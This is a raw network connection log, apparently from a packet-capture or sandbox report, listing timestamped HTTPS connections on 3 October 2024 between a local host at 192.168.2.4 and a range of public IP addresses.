Oct 3, 2024 10:41:51.144381046 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.146765947 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.163405895 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.191401958 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.223027945 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.223404884 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.223416090 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.224875927 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.225011110 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.225346088 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.225425959 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.225521088 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.225531101 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.240885019 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.241218090 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.241234064 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.241776943 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.241792917 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.242204905 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.242275953 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.243050098 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.243125916 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.243398905 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.243418932 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.255908966 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.255938053 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.255989075 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.256001949 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.256050110 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.256099939 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.256104946 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.256139040 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.256186008 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.257225037 CEST	50102	443	192.168.2.4	150.171.27.10
Oct 3, 2024 10:41:51.257240057 CEST	443	50102	150.171.27.10	192.168.2.4
Oct 3, 2024 10:41:51.309122086 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.309302092 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.310645103 CEST	50104	443	192.168.2.4	104.244.42.195
Oct 3, 2024 10:41:51.310676098 CEST	443	50104	104.244.42.195	192.168.2.4
Oct 3, 2024 10:41:51.312355995 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.312400103 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.312462091 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.312668085 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.312681913 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.323311090 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.323343992 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.323714018 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.323939085 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.323950052 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.337790012 CEST	50094	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.337790012 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.337790012 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.337815046 CEST	443	50094	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.404216051 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.404294968 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.404342890 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.405325890 CEST	50103	443	192.168.2.4	162.159.140.229
Oct 3, 2024 10:41:51.405343056 CEST	443	50103	162.159.140.229	192.168.2.4
Oct 3, 2024 10:41:51.408133984 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.408180952 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.408433914 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.408782005 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.408797979 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.418499947 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.418526888 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.418602943 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.418891907 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.418906927 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.429075003 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.429286957 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:51.429311991 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.429706097 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.430115938 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:51.430181980 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:51.430187941 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.471414089 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.492856979 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.492960930 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.494132042 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.498647928 CEST	50106	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.498668909 CEST	443	50106	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.503807068 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.503843069 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.504297018 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.504558086 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.504579067 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.505470991 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.505707026 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.505724907 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.506146908 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.506934881 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.507010937 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.507117033 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.509443998 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:51.509507895 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:51.509593010 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:51.510010958 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:51.510041952 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:51.540273905 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.541654110 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.541702986 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:51.542781115 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.542789936 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.543137074 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.544620991 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.544686079 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.545057058 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.545084000 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.546886921 CEST	50107	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:51.546900988 CEST	443	50107	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:51.549770117 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.549796104 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.550060987 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.550585032 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.550596952 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.551397085 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.559919119 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.560170889 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.560193062 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.560543060 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.560878038 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.560939074 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.561027050 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.578394890 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.578640938 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.578655005 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.578989983 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.579411983 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.579411983 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.579427958 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.579495907 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.607398033 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.637609005 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.637614012 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.638369083 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.638416052 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.638475895 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.639853001 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.639879942 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.697798014 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.698389053 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.698401928 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.699482918 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.699548006 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.700018883 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.700081110 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.700139046 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.703241110 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.703672886 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.703687906 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.704129934 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.704539061 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.704539061 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.704555988 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.704606056 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.707813025 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.707874060 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.707946062 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.708071947 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.708132982 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.709111929 CEST	50105	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.709132910 CEST	443	50105	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.714437962 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.714471102 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.714615107 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.714921951 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.714936972 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.724550962 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.724828005 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.724845886 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.725182056 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.725895882 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.725955963 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.726016045 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.747400045 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.749572039 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.751948118 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.752151966 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.752190113 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.752239943 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.753452063 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.753464937 CEST	443	50109	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.753580093 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.753580093 CEST	50109	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.755935907 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.755968094 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.756258965 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.756525993 CEST	50127	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.756540060 CEST	443	50127	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.771393061 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.793692112 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.793781996 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.793926001 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.796066999 CEST	50108	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.796077013 CEST	443	50108	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.829567909 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.829623938 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.829637051 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:51.846246004 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.846378088 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.847583055 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.847681046 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.859129906 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.859148026 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.859493971 CEST	50110	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.859508991 CEST	443	50110	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.860302925 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.860374928 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.861196041 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.861263990 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.861341953 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.874830008 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.874888897 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.874932051 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.874968052 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.875015974 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.875025988 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.875108004 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.875180006 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.877327919 CEST	50112	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:51.877337933 CEST	443	50112	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:51.890888929 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.891748905 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.891768932 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.892775059 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.894009113 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.895106077 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.895170927 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.895405054 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.895411968 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:51.903403044 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.905633926 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.905716896 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.905976057 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.906943083 CEST	50114	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:51.906964064 CEST	443	50114	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:51.909843922 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.909856081 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:51.916650057 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.916683912 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.916955948 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.917188883 CEST	50128	443	192.168.2.4	142.250.181.228
Oct 3, 2024 10:41:51.917203903 CEST	443	50128	142.250.181.228	192.168.2.4
Oct 3, 2024 10:41:51.941561937 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:51.941818953 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:51.944885015 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.962007046 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:51.965100050 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.965111017 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.965549946 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.968619108 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.968697071 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:51.968806982 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:51.968836069 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:52.024775982 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.024837017 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.024869919 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.024905920 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.024950027 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:52.024972916 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.024991989 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:52.025039911 CEST	443	50115	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:52.025080919 CEST	50115	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:52.026551008 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:52.036767960 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.045905113 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.045938969 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.045974970 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.046009064 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.046084881 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.046319962 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.046828032 CEST	50129	443	192.168.2.4	192.28.144.124
Oct 3, 2024 10:41:52.046844006 CEST	443	50129	192.28.144.124	192.168.2.4
Oct 3, 2024 10:41:52.047157049 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.047230005 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.047300100 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.057272911 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:52.057356119 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:52.057605982 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:52.058387041 CEST	50117	443	192.168.2.4	104.244.42.131
Oct 3, 2024 10:41:52.058397055 CEST	443	50117	104.244.42.131	192.168.2.4
Oct 3, 2024 10:41:52.083327055 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.083420992 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.083435059 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.083496094 CEST	443	50113	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.083719969 CEST	50113	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.091406107 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.157089949 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.178879023 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:52.179568052 CEST	443	50116	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:52.179697037 CEST	50116	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:52.182301998 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.207417965 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.230525970 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:52.230719090 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:52.234153986 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:52.235450983 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.251900911 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.252074003 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.252139091 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.263578892 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.276292086 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.328974962 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.329030037 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.342020035 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.344877005 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.344892979 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.344997883 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.345009089 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.345382929 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.345392942 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.346196890 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.346213102 CEST	443	50122	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.346290112 CEST	50122	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.346299887 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.346324921 CEST	443	50120	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.346337080 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.346344948 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.346355915 CEST	50120	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.346817017 CEST	50126	443	192.168.2.4	157.240.251.35
Oct 3, 2024 10:41:52.346838951 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.346930981 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.346949100 CEST	443	50121	13.107.246.67	192.168.2.4
Oct 3, 2024 10:41:52.346985102 CEST	50121	443	192.168.2.4	13.107.246.67
Oct 3, 2024 10:41:52.347189903 CEST	443	50126	157.240.251.35	192.168.2.4
Oct 3, 2024 10:41:52.347507000 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.347517967 CEST	443	50123	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.347556114 CEST	50123	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.347796917 CEST	50119	443	192.168.2.4	172.66.0.227
Oct 3, 2024 10:41:52.347815037 CEST	443	50119	172.66.0.227	192.168.2.4
Oct 3, 2024 10:41:52.350521088 CEST	50118	443	192.168.2.4	142.250.184.196
Oct 3, 2024 10:41:52.350589037 CEST	443	50118	142.250.184.196	192.168.2.4
Oct 3, 2024 10:41:52.353027105 CEST	50122	443	192.168.2.4	142.250.184.196
